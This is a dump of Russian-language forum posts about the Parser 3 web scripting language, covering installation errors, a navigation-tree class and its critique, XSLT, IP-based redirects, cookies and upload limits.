"32119","Ну хз. блин, есть ведь такая замечательная прога как Svoi.NET PHP Edit - там реализована не хилая подсветка для Parser 3.\
Сайт http://phpedit.com.ua"
"32121","где не игнорировался UTF-8 префикс в начале файла?\
\
весь файл получился одним методом @main, впоследствии перекрытым."
"32123","The specified CGI application misbehaved by not returning a complete set of HTTP headers.\
 у меня постоянно такую ошибку выдает На 2003 с IIS и CGI"
"32124","Здраствуйте.\
Ламерский ворос. Скачал Парсер, для RedHat, установил на ASPLinux (вроде система построена на RH и авторы убеждают что программы подходят) \
Начал проверять. ввёл /cgi-bin/parser3/parser3.cgi \
выдала Parser/3.1.3 згначить вроде работает. \
Скачал файл parser3test_english.tar.gz распоковал. \
При запуске _test.html выдаёт такую вот строчку \
\
[quot]\
'./auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p', fuid(0)!=euid(48) or fgid(1)!=egid(48)  type: parser.runtime\
[/quot]\
\
и что делать?\
Откомпилировать то этот модуль я уже не могу..."
"32131","только реализация не приходит. я пробовал собирать урлы от родителя - конкретно в дереве не нахожу алгоритма."
"32132","брать урл который передали свыше, добавлять слэш, добавлять path текущего объекта и выводить это <a href=\"тут\">...</a>\
\
после этого если есть дочерние объекты то это-же самое передавать глубже. делов-то: один дополнительный параметр."
"32135","Чесное слово не знаю, что такое :)\
[url=\"http://yappo.eurohosting.lv/cgi-bin/parser3.cgi\"]http://yappo.eurohosting.lv/cgi-bin/parser3.cgi[/url]"
"32136","Не, они накапливаются. Или я что-то не так делал. Но пробовал так сразу. А теперь посмотрел 32 раз на \"Построение деревьев\" твое и написал пару методов + заюзал хэш. Теперь все работает, но ты наверняка упростил бы...\
\
Кароче, вот что вышло:\
[code]\
##############################\
# 16:33 13/08/2004 sly\
# Основано на TNavigation от Sumo\
##############################\
\
@CLASS\
TNavigationDB\
\
##############################\
# Запускаем\
@Init[]\
$sitename[$env:SERVER_NAME]\
$root[^GetSectionsByParent[0]]	^rem{ *** Корневые *** }\
$roll[^Roll[]]\
$temptable[^table::sql{\
	SELECT\
		id,\
		pid,\
		uri,\
		title,\
		is_published,\
		is_admin\
	FROM\
		sections\
}]\
$hashTree[^CreateHashTree[$temptable;pid]]\
\
##############################\
# Хэш для ускорения поиска\
@CreateHashTree[messages;field]\
$result[^messages.hash[$field][$.distinct[tables]]]\
\
##############################\
# Сдвиг для urisplit. Поэтому система будет работать не только в корне сайта\
@Roll[]\
$urisplit[^MAIN:ENGINE.ROOT.lsplit[/]]\
$result[^urisplit.count[]]\
\
##############################\
# Счетчик вложенных секций у указанного родителя\
@SectionsCount[pid][tempsection;count]\
# Вычисляем количество записей\
$count(0)\
$tempsection[^GetSectionsByParent[$pid]]\
^tempsection.menu{\
	^if($tempsection.is_published){$count($count+1)}\
}\
$result[$count]\
\
##############################\
# Возвращает таблицу секций-детей. Возможен лимит\
@GetSectionsByParent[pid;limit]\
$result[^table::sql{\
	SELECT\
		id,\
		pid,\
		uri,\
		title,\
		is_published,\
		is_admin\
	FROM\
		sections\
	WHERE\
		^if(def $pid){pid = ^pid.int(0) AND}\
		is_published = 1\
}[^if(^limit.int(0)){$.limit(^limit.int(0))}]]\
   \
##############################\
# \"Хлебные крошки\"\
@BreadCrops[]\
# Роемся в подразделах, чтобы выцепить текущий. После этого кидаем крошки\
# Инициализируем secondnav и записываем в него главную страницу\
$self.secondnav[^table::create{uri	title}]\
^self.secondnav.append{$MAIN:ENGINE.ROOT	$sitename}\
# Разбираем uri\
$uri[$request:uri ]\
$urisplit[^uri.lsplit[/]]\
# Проходим по urisplit\
^urisplit.menu{\
	^if((^urisplit.line[] > $roll) && (^urisplit.line[] < $urisplit)){\
		^if(^urisplit.line[] == 1+$roll){\
			^if(^root.locate[uri;$urisplit.piece/]){\
				$currentid[$root.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}$root.uri}	^taint[as-is][$root.title]}\
			}         \
			$currenturi[$root.uri]\
		}{			\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
				$currentid[$tempsection.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}${currenturi}$tempsection.uri}	^taint[as-is][$tempsection.title]}\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
		}\
	}\
}\
^secondnav.menu{\
	^if(def $secondnav.uri){\
		<a href=\"$secondnav.uri\" class=secondnav>^taint[as-is][$secondnav.title]</a>\
	}{\
		<b>^taint[as-is][$secondnav.title]</b>\
	}\
}[&nbsp^;>&nbsp^;]\
\
##############################\
# Корневая навигация. Вынесено для удобства (обычно на всех страницах присутствует)\
@ShowRoot[]\
^root.menu{\
	^if($root.is_published){\
		^if($root.uri eq $request:uri){\
			<a href=\"${MAIN:ENGINE.ROOT}$root.uri\"><b>^taint[as-is][$root.title]</b></a>\
		}{\
			<a href=\"${MAIN:ENGINE.ROOT}$root.uri\">^taint[as-is][$root.title]</a>\
		}\
	}  \
}\
\
##############################\
# Подразделы\
@ShowSecondNav[][tempsection]\
^if($request:uri ne $MAIN:ENGINE.ROOT){\
# Разбираем uri\
$uri[$request:uri ]\
$urisplit[^uri.lsplit[/]]\
# Проходим по urisplit, чтобы вычислить id текущей секции\
^urisplit.menu{\
	^if((^urisplit.line[] > $roll) && (^urisplit.line[] < $urisplit)){\
		^if(^urisplit.line[] == 1+$roll){\
			^if(^root.locate[uri;$urisplit.piece/]){\
				$currentid[$root.id]\
			}         \
			$currenturi[$root.uri]\
		}{\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
					$currentid[$tempsection.id]\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
		}\
	}\
}\
$tempsection[^GetSectionsByParent[$currentid]]\
^tempsection.menu{\
	^if($tempsection.is_published){\
		^if($tempsection.uri eq $request:uri){\
			<a href=\"$tempsection.uri\"><b>^taint[as-is][$tempsection.title]</b></a>\
		}{\
			<a href=\"$tempsection.uri\">^taint[as-is][$tempsection.title]</a>\
		}\
	} 	\
}[<br>]\
}\
\
##############################\
# Дерево. Будет в XML. Рекурсия (метод вызывает сам себя)\
@ShowSectionsByParent[pid][tempsection]\
<ul>\
^if($hashTree.[$pid]){\
	$tempsection[$hashTree.[$pid]]\
	^tempsection.menu{\
		^PrintTreeItem[$tempsection.fields;^if($hashTree.[$tempsection.id]){^ShowSectionsByParent[$tempsection.id]}]\
	}\
}\
</ul>\
\
\
##############################\
# Пририсовать ветку\
@PrintTreeItem[tempsection;child]\
$result[<li><a href=\"${MAIN:ENGINE.ROOT}^GetFullPath[$tempsection.id]\">$tempsection.title</a>\
	^if(def $child){<ul>$child</ul>}\
</li>]\
\
##############################\
# Полный путь для указанного по ID раздела\
@GetFullPath[id][temp]\
$hashTreeByID[^CreateHashTree[$temptable;id]]\
^if($hashTreeByID.[$id]){\
	$temp[$hashTreeByID.[$id]]\
	^temp.menu{\
		^PathPiece[$temp.fields;^if($hashTreeByID.[$temp.pid]){^GetFullPath[$temp.pid]}]\
	}\
}\
\
##############################\
# Возвращает постоянно наращиваемый УРЛ\
@PathPiece[temp;parent]\
$result[^trim[$parent]${temp.uri}]\
[/code]\
\
И вопрос вдогонку: как правильней по логике-количеству отжираемой памяти я поступил с хэшами:\
$hashTree - в Init[] или $hashTreeByID в GetFullPath[id]???\
\
Вопросы, конечно, простые, но очень для меня важные - чтоб в следующий раз не спрашивать"
"32139","1. в Init я вообще ничего-бы не доставал из БД\
2. @Init[] - зачем $root[^GetSectionsByParent[0]] а потом $temptable[...]? ведь в temptable вы достанете все, неужели сложно сделать парсерный select? \
3. а что живет в secrion.uri? вообще-то ури это типа: /forum/users/ ... если это так то что считать?\
\
\
немного по коду, не особо вдаваясь в правильность подхода:\
[code]\
@SectionsCount[pid][tempsection;count]\
# Вычисляем количество записей\
$count(0)\
$tempsection[^GetSectionsByParent[$pid]]\
^tempsection.menu{\
	^if($tempsection.is_published){$count($count+1)}\
}\
$result[$count]\
\
->\
\
@SectionsCount[pid][tempsection]\
# Вычисляем количество записей\
$result(0)\
$tempsection[^GetSectionsByParent[$pid]]\
^tempsection.menu{\
	^if($tempsection.is_published){^result.inc(1)}\
#	или так\
#	^result.inc($tempsection.is_published)\
}\
\
# или так:\
$result(0)\
$tempsection[^GetSectionsByParent[$pid]]\
^result.inc($tempsection)\
[/code]\
\
про передачу параметров:\
[code]\
@ShowSectionsByParent[pid;parent_uri][tempsection]\
^if($hashTree.[$pid]){\
	$tempsection[$hashTree.[$pid]]\
	^tempsection.menu{\
		^PrintTreeItem[$tempsection.fields;$parent_uri;^if($hashTree.[$tempsection.id]){^ShowSectionsByParent[$tempsection.id;$parent_uri/$tempsection.uri]}]\
	}\
}\
</ul>\
\
\
##############################\
@PrintTreeItem[tempsection;parent_uri;child]\
<li>\
	<a href=\"$parent_uri/$tempsection.uri\">$tempsection.title</a>\
	$child\
</li>\
[/code]\
\
[quot]\
И вопрос вдогонку: как правильней по логике-количеству отжираемой памяти я поступил с хэшами:\
$hashTree - в Init[] или $hashTreeByID в GetFullPath[id]???\
[/quot]\
\
вопрос не понят"
"32142","смотрим http://yappo.eurohosting.lv/_test.html и видим: \
...\
$response:charset: WINDOWS-1251\
$request:charset: WINDOWS-1251\
...\
\
открываем ваш auto.p и видим в нем текст в кодировке UTF-16\
...\
\
может попробуете привести все в норму?"
"32143","Спасибо! Всемогуший Misha v.3. :) попмогло!\
Еше вопрос то что в [url=\"http://yappo.eurohosting.lv/_test.html\"]_test.html[/url] красним виделенно, что ето за errors? серьезние или нет? и как с ними бороться?\
Спасибо"
"32144","- libmysqlclient.so (относительный путь. проверка невозможна) - если введете полный дисковый путь к sql библиотеке и парсер сможет найти её - красный пропадет. путь к библиотеке вы можете узнать у вашего админа. если вы не планируете работать с SQL - можно забить.\
- $CLASS_PATH: не определен - если будете использовать классы, то надо определить значение CLASS_PATH (см. доку), красный тут пропадет\
- ^int:sql{SELECT 2+2}: Что-то непонятное с SQL. - если вы не планируете работать с SQL то можно забить. возможно после того, как вы пропишите путь к sql библиотеке (см. пункт 1) красный цвет пропадет и тут.\
\
P.S. section.cfg у вас тоже в некорректной кодировке..."
"32145","Вот такие ответы я уважаю. И не только я. Все.\
\
И вот что получилось:\
[code]\
##############################\
# 19:07 17/08/2004 sly\
# Основано на TNavigation от Sumo\
\
@CLASS\
TNavigationDB\
\
##############################\
# Запускаем\
@Init[]\
$sitename[$env:SERVER_NAME]\
$temptable[^table::sql{\
	SELECT\
		id,\
		pid,\
		uri,\
		title,\
		is_published,\
		is_admin\
	FROM\
		sections\
}]\
$hashTree[^CreateHashTree[$temptable;pid]]\
$root[^GetSectionsByParent[0]]	^rem{ *** Корневые *** }\
$roll[^Roll[]]\
\
##############################\
# Хэш для ускорения поиска\
@CreateHashTree[sections;field]\
$result[^sections.hash[$field][$.distinct[tables]]]\
\
##############################\
# Сдвиг для urisplit. Поэтому система будет работать не только в корне сайта\
@Roll[]\
$urisplit[^MAIN:ENGINE.ROOT.lsplit[/]]\
$result[^urisplit.count[]]\
\
##############################\
# Счетчик вложенных секций у указанного родителя\
@SectionsCount[pid][tempsection;count]\
# Вычисляем количество записей\
$result(0)\
$tempsection[^GetSectionsByParent[$pid]]\
^result.inc($tempsection)\
\
##############################\
# Возвращает таблицу секций-детей\
@GetSectionsByParent[pid][tempsection]\
$result[^table::create{id	pid	uri	title	is_published	is_admin}]\
^if($hashTree.[$pid]){\
	$tempsection[$hashTree.[$pid]]\
	^tempsection.menu{\
		^if($tempsection.pid==$pid){^result.append{$tempsection.id	$tempsection.pid	$tempsection.uri	$tempsection.title	$tempsection.is_published	$tempsection.is_admin}}\
	}\
}\
   \
##############################\
# \"Хлебные крошки\"\
@BreadCrops[]\
# Роемся в подразделах, чтобы выцепить текущий. После этого кидаем крошки\
# Инициализируем secondnav и записываем в него главную страницу\
$self.secondnav[^table::create{uri	title}]\
^self.secondnav.append{$MAIN:ENGINE.ROOT	$sitename}\
# Разбираем uri\
$uri[$request:uri ]\
$urisplit[^uri.lsplit[/]]\
# Проходим по urisplit\
^urisplit.menu{\
	^if((^urisplit.line[] > $roll) && (^urisplit.line[] < $urisplit)){\
		^if(^urisplit.line[] == 1+$roll){\
			^if(^root.locate[uri;$urisplit.piece/]){\
				$currentid[$root.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}$root.uri}	^taint[as-is][$root.title]}\
			}         \
			$currenturi[$root.uri]\
		}{			\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
				$currentid[$tempsection.id]\
				^secondnav.append{^if(^urisplit.line[] != ($urisplit - 1)){${MAIN:ENGINE.ROOT}${currenturi}$tempsection.uri}	^taint[as-is][$tempsection.title]}\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
		}\
	}\
}\
^secondnav.menu{\
	^if(def $secondnav.uri){\
		<a href=\"$secondnav.uri\" class=secondnav>^taint[as-is][$secondnav.title]</a>\
	}{\
		<b>^taint[as-is][$secondnav.title]</b>\
	}\
}[&nbsp^;>&nbsp^;]\
\
##############################\
# Корневая навигация. Вынесено для удобства (обычно на всех страницах присутствует)\
@ShowRoot[]\
^root.menu{\
	^if($root.is_published){\
		^if($root.uri eq $request:uri){\
			<a href=\"${MAIN:ENGINE.ROOT}$root.uri\"><b>^taint[as-is][$root.title]</b></a>\
		}{\
			<a href=\"${MAIN:ENGINE.ROOT}$root.uri\">^taint[as-is][$root.title]</a>\
		}\
	}\
}\
\
##############################\
# Подразделы\
@ShowSecondNav[][tempsection]\
^if($request:uri ne $MAIN:ENGINE.ROOT){\
# Разбираем uri\
$uri[$request:uri ]\
$urisplit[^uri.lsplit[/]]\
# Проходим по urisplit, чтобы вычислить id текущей секции\
^urisplit.menu{\
	^if((^urisplit.line[] > $roll) && (^urisplit.line[] < $urisplit)){\
		^if(^urisplit.line[] == 1+$roll){\
			^if(^root.locate[uri;$urisplit.piece/]){\
				$currentid[$root.id]\
			}         \
			$currenturi[$root.uri]\
		}{\
			$tempsection[^GetSectionsByParent[$currentid]]\
			^if(^tempsection.locate[uri;$urisplit.piece/]){\
					$currentid[$tempsection.id]\
			}\
			$currenturi[${currenturi}$urisplit.piece/]\
		}\
	}\
}\
$tempsection[^GetSectionsByParent[$currentid]]\
^tempsection.menu{\
	^if($tempsection.is_published){\
		^if($tempsection.uri eq $request:uri){\
			<a href=\"$tempsection.uri\"><b>^taint[as-is][$tempsection.title]</b></a>\
		}{\
			<a href=\"$tempsection.uri\">^taint[as-is][$tempsection.title]</a>\
		}\
	} 	\
}[<br>]\
}\
\
##############################\
# Дерево. Будет в XML. Рекурсия (метод вызывает сам себя)\
@ShowSectionsByParent[pid;parent_uri][tempsection]\
<ul>\
^if($hashTree.[$pid]){\
	$tempsection[$hashTree.[$pid]]\
	^tempsection.menu{\
		^PrintTreeItem[$tempsection.fields;$parent_uri;^if($hashTree.[$tempsection.id]){^ShowSectionsByParent[$tempsection.id;${parent_uri}$tempsection.uri]}]\
	}\
}\
</ul>\
\
##############################\
# Пририсовать ветку\
@PrintTreeItem[tempsection;parent_uri;child]\
$result[<li><a href=\"${MAIN:ENGINE.ROOT}${parent_uri}$tempsection.uri\">^taint[as-is][$tempsection.title]</a>$child</li>]\
[/code]\
\
Всего 1 запрос - тока я считаю, что в конструкторе ему самое место. Если я ошибаюсь по техническим понятиям (много памяти) - поправьте. Но все остальное получилось хорошо."
"32146","[code]\
@GetSectionsByParent[pid][tempsection]\
$result[^table::create{idpidurititleis_publishedis_admin}]\
^if($hashTree.[$pid]){\
	$tempsection[$hashTree.[$pid]]\
	^tempsection.menu{\
		^if($tempsection.pid==$pid){^result.append{$tempsection.id$tempsection.pid$tempsection.uri$tempsection.title$tempsection.is_published$tempsection.is_admin}}\
	}\
}\
[/code]\
\
вы не задумывались о том, что у вас [b]уже есть[/b] в $hashTree?\
если задумаетесь то поймете, что:\
[code]\
@GetSectionsByParent[pid]\
$result[$hashTree.[$pid]]\
[/code]\
ведь именно ради этого делается хеш таблиц-то...\
\
\
[code]\
@SectionsCount[pid][tempsection;count]\
# Вычисляем количество записей\
$result(0)\
$tempsection[^GetSectionsByParent[$pid]]\
^result.inc($tempsection)\
[/code]\
\
ну вы хоть посмотрели на этот код? да, я ошибся при copy/paste ваших кусков, но копировать-то бездумно не надо. на фига тут $result(0) и ^result.inc(...)? на фига @...[...][...;count]?\
\
[quot]\
Всего 1 запрос\
[/quot]\
\
это ужасный запрос. он достает [b]всё[/b]. а если у сайта 5000 страниц? опять-же, а почему не достать только документы которые is_published = 1? соотв. н нужны будуь ^if($root.is_published){...}\
\
P.S. @ShowSecondNav[] и @BreadCrops[] я даже не смотрел, но на вид они ужасны, хотя-бы потому что там есть .locate в .menu и class=secondnav и не описаны локальные переменные :)"
"32147","цитата от сюда http://www.w3.org/TR/WD-html40-970708/interact/forms.html \
Creates a graphical submit button. The value of the src attribute specifies the URL of the image that will decorate the button. Some users will be unable to see this image. We strongly recommend you provide a value for the alt attribute as an textual alternative for the image. \
When a pointing device is used to click on the image, the form is submitted and the location passed to the server. The x value is measured in pixels from the left of the image, and the y value in pixels from the top of the image. The submitted data includes name.x=x-value and name.y=y-value where \"name\" is the value of the name attribute, and x-value and y-value are the x and y coordinate values respectively. \
\
Вот тестовая страница (нажмите на кнопку)\
\
[code]\
@main[]\
<form name=\"test_from\" method=\"GET\">\
<input type=\"hidden\" name=\"closed_eyes\" value=\"sure\">\
<input type=\"image\" name=\"submit\" src=\"/files/ok.gif\" alt=\"have fun\">\
</form>\
\
^$form:fields  <br>\
^show_ready_hash[$form:fields]\
\
@show_ready_hash[this_hash]\
<ul>\
^this_hash.foreach[key;val]{\
	^if($val is 'hash'){\
		<li>$key^[^show_ready_hash[$val]^]		\
	}{\
		<li> ^if($val is 'string'){$key^[$val^]}{$key^($val^)}\
	}\
}[</li>]\
</ul>\
\
[/code]"
"32148","Да спасибо с кодировками разобрался. сейчас напишем письмо админу :) и узнаем путь к SQL.\
Спасибо Misha v.3, сильно виручил и помог!"
"32149","Итак, [b]был[/b] хостинг на Linux. Parser работал, ну и сайт на нем тоже. В общем все было ОК. \
Теперь хостер решил поменять сервер на более быстрый и за одно поменял и ОС. Теперь имеем FreeBSD 5.2.1-RELEASE-p9, MySQL 4.0.20 и не работающий Parser :( Причем, как вы понимаете брал файлы под BSD. Если не копирую библиотеки MySQL, то Parser работает без поддержки MySQL, соответственно. test.html работает. Как только переписываю драйвер и указываю путь к [i]libmysqlclient.so[/i] (узнал у хостера) все накрывается тазом и выдает 500 ошибку. В лог Parser ничего не пишет. \
Варианты?"
"32151","насчет GetSectionsByParent - каюсь. Остальное по невнимательности. Хотелось похвастаться, что 1 запрос. Но is_published надо проверять только для обычного юзера. Для админа там еще куча примочек для редактирования дерева, потому это далеко не конечный вариант. Тут is_admin тоже не проверяется!\
\
А остальное я сегодня пересмотрю еще раз!\
\
PS: locate выкинуть не удается - нужно переходить к строке таблицы с данным uri, чтобы взять из нее id и идти дальше. Тут как грибы сушеные на шнурках"
"32152","1. можно проверять админ это или нет, и если не админ доставать is_published = 1 (а админ смотрит или нет по моему лучше передавать параметром в Init)\
2. если есть locate то в 95% случаев его можно заменить на более выстрый поиск в хеше."
"32153","можна ли его собирать на маке?\
нет ли несовместимостей?\
\
Machine Model:	Power Mac G5\
CPU Type:	PowerPC 970  (2.2)"
"32155","Прочитал ;)\
Легче не стало.\
Лог Апача говорит: [code]Premature end of script headers[/code]"
"32156","Хотя я ещё не проверил - только-только поставил свежую систему.\
\
Собирать сложно, но можно. Куча заковык, нужно достаточно много дополнительного доставлять - на базовой конфигурации даже с последним XCode собрать не получится.\
Могу в почту по запросу выслать свои мысли по этому поводу и некоторые необходимые шаги."
"32157","переименуйте parser3.cgi в parser3.cgi.real\
вместо parser3.cgi положите это:\
[code]\
#!/bin/sh\
\
echo content-type:text/plain\
echo\
./parser3.cgi.real 2>&1\
echo done\
[/code]\
\
файл нужно создать с переносами строк в стиле unix [или закачивать по ftp в text mode].\
\
поставить на него биты executable.\
и обратиться по http://server/ [чтобы вызвался parser3.cgi, как обработчик страницы]\
\
на экране увидите ошибку, которая сейчас нигде не видна."
"32158","Вот что получилось...\
\
[code]/usr/libexec/ld-elf.so.1: /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"stpcpy\"[/code]\
Странно все это :("
"32165","Извините поспешил, сообщение ушло без текста. Так вот вопрос, могули я использовать Parser использовать в проектировании своих сайтов. \
\
 Значит ли это, что затем я смогу разместить свой сайт только у хостпровайдера у которого стоит Parser?"
"32167","Есть деревовидная структура XML. Из неё [url=\"http://serge.design.ru/article/002/\"]строиться HTML дерево с помощью XSLT[/url]. Но потребовалось поставить кнопочки (опустить вниз и поднять вверх). Поставил.\
\
Теперь хочется, чтобы они ставились правильно. Т.е. чтобы у первого и последнего элемента дерева не ставились кнопочки вверх и вниз, соответственно.\
\
Делаю так:\
[code]\
<xsl:if test=\"not(position() = 1)\">\
	<xsl:text> </xsl:text>\
	<a href=\"./?gid={@id}&amp;move=up\"><img src=\"/i/i-up.gif\" width=\"8\" height=\"8\" border=\"0\" alt=\"Вверх\" /></a>\
</xsl:if>\
<xsl:if test=\"not(position() = last())\">\
	<xsl:text> </xsl:text>\
	<a href=\"./?gid={@id}&amp;move=down\"><img src=\"/i/i-down.gif\" width=\"8\" height=\"8\" border=\"0\" alt=\"Вниз\" /></a>\
</xsl:if>\
[/code]\
Но этот код не верный, т.к. не ставит кнопочки только у первого и последнего элемента всего дерева, а нужно, чтобы не ставились у первого и последнего элемента каждого уровня. Как это сделать?\
\
А то бьюсь уж сколько..."
"32168","основное условие: наличие возможности запускать свои CGI скрипты, написанные не на perl.\
\
важное условие: стоит попробовать заранее, чтобы убедиться, что не будете испытывать проблем с группой технической поддержки провайдера."
"32169","Реклама пройдет быстро. :-)\
\
Класс для Parser в нем переписан почти с нуля, теперь он избавлен от ^process и [color=\"#eeeeee\"]теоретически[/color] работает быстрее [color=\"#eeeeee\"]любого типографа с ^process ;-)[/color].\
\
Из модификаций таблицы регулярных выражений - корректная обработка кавычек внутри тегов, правильная обработка диапазонов годов (теперь они не считаются за плохо написанные номера телефонов) и удаление пробелов после открывающей и перед закрывающей кавычками.\
\
http://www.typographer.ru/\
\
Помимо класса Parser как всегда есть версии под PHP, Perl, C и VBScript."
"32170","... всё из него выкидываем, оставляем только рекурсивный вызов, перед которым вставляем div из второго шаблона (XSL 2) с вашим кодом внутри. Или нет?"
"32171","Мой код неверный, т.к. не ставит кнопочки только у первого и последнего элемента всего дерева, а нужно, чтобы не ставились у первого и последнего элемента каждого уровня.\
\
Поэтому не получится так сделать :("
"32173","выводится именно так, как я и писал"
"32175","Задача:\
Есть база-список русских подсетей. Нужно перенаправлять всех зарубежных посетителей на другой сайт, но не через ErrorDocument 403 (он используется CMS).\
\
То есть конструкция вида:\
\
ErrorDocument 403 http://another_site.ru\
\
Order allow,deny\
Allow from 1.2.3.4/5\
Allow from 6.7.8.9/10\
Allow from 11.12.13.14/15\
...\
\
не будет работать.\
\
Стуация усугубляется тем, что подсети заданы масками (префиксами), например 62.76.80.0/21, то есть (вполне возможно далее заблуждение идет :) использовать RewriteCond тоже не удастся, как тут\
\
RewriteCond %{REMOTE_ADDR}  (вот тут что? :)1.2.3.4/5        [OR]\
RewriteCond %{REMOTE_ADDR}  (вот тут что? :)6.7.8.9/10       [OR]\
RewriteCond %{REMOTE_ADDR}  (вот тут что? :)11.12.13.14/15\
RewriteRule (.*)  http://another_host.ru\
\
Заранее спасибо.\
\
----\
PS: давно на сайте не был, шапка изменилась. мне предыдущая больше нравилась."
"32176","Я сделал так, но парсру не нравится\
\
style=\"^taint[as-is][BORDER-RIGHT: #8899bb 1px solid; BORDER-TOP: #8899bb 1px solid; BORDER-LEFT: #8899bb 1px solid; BORDER-BOTTOM: #8899bb 1px solid]\" \
\
подскажите где у меня ошибка\
и как правильно его исп."
"32177","Во-первых, чего вы хотите добиться?\
Во-вторых, [url=\"http://www.parser.ru/examples/tainting/\"]читайте[/url]\
В-третьих, ^;"
"32178","У вас есть вложенные ветки? И у первого и последнего элемента вложенной ветки не ставятся картинки?"
"32179","1. RewriteMap + маленькая программка на perl.\
\
2. вы parser'ом пользуетесь, правильно? им можно проверить. и если что не так, $response:location куда надо."
"32180","приведённый вами код вполне себе рабочий, но действует он в зависимости от контекста, одно дело когда шаблон выбирает все ветки сразу (XSL2, //item), другое дело когда в шаблон на каждом шаге рекурсии попадают только ветки определённого уровня вложенности (XSL1), для каждого случая position() будет отрабатываться по разному."
"32181","Вот решил создать файлообменный сервер со следующими требованиями.\
- размер публикуемого файла до 5 мегабайт\
- общий размер дискового пространства фиксированный(к примеру 1 гиг)\
- срок хранения файла фиксированный, но если он пользуется популярностью, то срок хранения продливается\
- краткое описание к файлу\
\
может кто еще что добавит\
и может у кого уже есть наработки в этой области"
"32183","Вариант 1. Можно чуть подробнее? На ПЕРЛЕ этот самый map надо сгенерировать. А что в нем писать?\
\
Вариант 2. Да, конечно, на парсере. Но там список только подсетей - около 50кб, если их раскрыть (из 62.76.80.0/21 сделать список 62.76.81, 62.76.82, 62.76.83 итд) то получится килобайт 100 минимум :)\
\
Парсером это дело грузить естественно не стоит, придется делать SQL таблицу, это еще один запрос при обращении к странице, и к тому же дополнительная работа (раскрытие префиксов у ip, загон в таблицу ...).\
\
А чуство того, что апач как-то умеет всеж эту ситуацию обходить не пропадает :)"
"32184","преобразуете ваши данные к виду:\
IP, Netmask\
тогда проверка IP по таблице сводится к одному SQL запросу (mysql умеет работать с битами)."
"32185","Все проделал как описано.\
Правда архив раскрывал на WinXP а потом заливал к ним на RedHat.\
На запрос http://ganeman.ru/cgi-bin/parser3.cgi выдается 500 ошибка.\
\
Вот кусок лога:\
[Thu Aug 19 14:55:51 2004] [error] [client 212.22.66.115] Premature end of script headers: parser3.cgi \
[Thu Aug 19 15:00:04 2004] [error] [client 212.22.66.115] [Thu Aug 19 15:00:04 2004] Parser/3.1.3"
"32187","Похоже легче уж тогда сделать таблицу как в базе ip2country.\
\
1. Преобразовать сети в IP Number(десятичное число)\
2. Сделать 2 колонки, ipStart(минимальный ip) и ipEnd(максимальный ip сети).\
3. Поместить их в Primary Key.\
4. Делать выборку, как where (ip > ipStart) and (ipEnd > ip)\
\
Только вот не хочется этого делать, лень - двигатель науки :)"
"32188","кто-то мыслит min/max, кто-то мыслит netmask, кто-то мыслит в CIDR духе (x.x.x.x/nnn).\
\
у вас в parser получится 1([b]одна[/b]) строчка.\
проще уже некуда.\
\
\
если начнёте писать в .htaccess, предпримите усилия, чтобы на каждый gif-чик не проверялось.\
тогда вам надо будет сделать RewriteMap, а map-программку за вас никто не напишет.\
и на perl получится уже не одна строчка."
"32189","\"РШ\""
"32190","Действительно, все это пихать на обработку апачу не стоит.\
Уже делаю вариант с ip2country, тем более что открывается масса презабавных возможностей (интеграция с полной базой ip2country, разделение на страны итп).\
\
Пасиб за наглядное пояснение.\
\
--\
И всеж, вот один маленький вопрос, как же надо хранить ip в mysql, чтобы к нему применялись побитовые операции?\
Наверное вопрос глупый, но на вскидку не придумаю ничего красивого :)"
"32191","Спасибо большое!\
\
Сам стормозил. ;)"
"32194","Типа менюшить хэш и проверять совпадение uri? Как по-другому? С родительским id все ясно, как это работает. Но вот с полем uri..."
"32195","Читай доку лучше [censored] :)"
"32196","...ладно, все равно никто не скажет, как locate заменить. Буду сам искать. Спасибо за полминуты уделенного времени!"
"32197","Всегда пожалуйста, - в реальной жизни, ты бы заслужил порцию матюков. Почитай про хэш [b]вдумчиво[/b] и все будет путем."
"32198","на парсере? так вроде нет никаких ограничений и особенностей, за исключением может определения размера файла при заливке - он ведь через веб морду будет заливаться?"
"32199","При передаче данных непосредственно через URL мы шлем страку типа www.firma.ru/page.html?id=12&a=50\
При обработке есть ли возможнотсь работать непосредственно с переменными $id и $a. Или надо разбирать страку типа string ручками и присваивать эти значения?\
Имеется ввиду передача не через форму а через url, который или генерится или уже забит изначально."
"32201","вот и именното что через веб, как сделать правильно ограничение размера файла не понимаю.\
Прочитал весь форум, нет ничего вразумительного, полюбому файл сначала уходит на сервер а потом проверяется его размер, хоть парсером, хоть средствами апача."
"32202","и в parser и в apache проверяется ДО фактической передачи файла."
"32203","Какие ограничения у реализации hashfile в парсере? В свое время я изучал таблицу по реализации dbm в книге перл, там были параметры, как размер ключа, количество ключей, скорость, объем базы. Будет ли держать миллион ключей? можно ли поместить килобайт данных в одно поле? Если нет, то сколько можно?"
"32204","Может вы и правы, но я специально смотрел на трафик, он на сервер уходит.\
отсылал файл на сервер размером 16,051,496 байтов пришел трафик 16529739 байт и парсер выдал после этого\
posted content_length(16051825) > max_post_size(10485760)\
\
ну и где проверка?"
"32205","parser: принял от вебсервера заголовок, увидел в нём размер, превышающий ограничение=выругался, не стал читать из потока данные.\
\
apache, насколько помню, ничего не буферизует.\
у os такой буфер очень маловероятен,\
так что мне непонятны причины того, что вы наблюдаете такие цифры.\
\
могу предложить попробовать повторить эксперимент с медленным клиентом. скажем, когда кто-то по dialup приходит и начинает качать вам 100M."
"32206","Устанавливаю cookie, код для установки \"запускается\" при просмотре страницы сайта \\root.shtml.\
Все страницы в корне сайта ЧИТАЮТ установленный cookie нормально, но страницы из любого подкаталога сайта, например, \\subdir\\leaf.shtml при попытке чтения получают ПУСТОЕ значение. Если страницу переместить в корень сайта - cookie читается нормально. Стандартные операции для чтения/записи cookie в парсере. Цирк какой-то.\
